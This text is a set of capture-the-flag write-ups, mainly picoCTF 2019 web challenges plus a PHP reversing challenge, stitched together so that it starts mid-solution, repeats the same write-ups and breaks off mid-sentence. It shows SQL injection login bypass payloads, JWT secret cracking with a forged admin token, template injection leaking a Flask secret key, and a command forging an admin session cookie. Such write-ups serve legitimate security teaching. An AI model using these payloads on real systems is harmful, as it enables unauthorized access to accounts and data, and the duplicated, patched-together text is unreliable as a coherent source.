![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
# Is this Rev?* points: 495* description: ```A simple php flag validator, validate your flag! https://isthisrev.fireshellsecurity.team/``` ## solution1. Get source code The description gives us a url, so we just click on it, and we will find this [source code](./source.txt) in /source.txt. The source code is url encoded, so we should decoded back. 2. Reverse Following the [PHP opcodes](https://www.php.net/manual/pt_BR/internals2.opcodes.list.php) and the [online php compiler ](https://3v4l.org/JLtf3/vld#output), we can reverse the source code step by step. 3. Result The php code get the input by `$flag_input = str_split($_POST['flag'])`, then it checks whether our input length is equal to 26 and the total of ascii of each char in the input is equal to 2423. After that, it set some restrictions to each char in our input like `$flag_input[5] == $flag_input[3]` or `$flag_input[8] + 7 == $flag_input[9]`. However, there seems to be missing some code, because I found that `$what_is_thiss` is not given to us, but it does appear in some of the restrictions. Luckily, At the beginning of the restrictions, it checks that `$what_is_thiss[0] + 5 == 'F'`, `$what_is_thiss[1] - 31 == '#'`, `$what_is_thiss[2] + 56 == '{'`, `$_what_is_thiss[25] + 35 == '}'`, so we can easily guess that `$what_is_thiss` is a string from A to Z. To get the flag, I use z3 to do the tricks and finally get `F#{phpg4ls0gg0rks_f0r_r3v}`. It seems that there is another solution with z3, but we still can guess the flag `F#{php_4ls0_w0rks_f0r_r3v}`.
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't 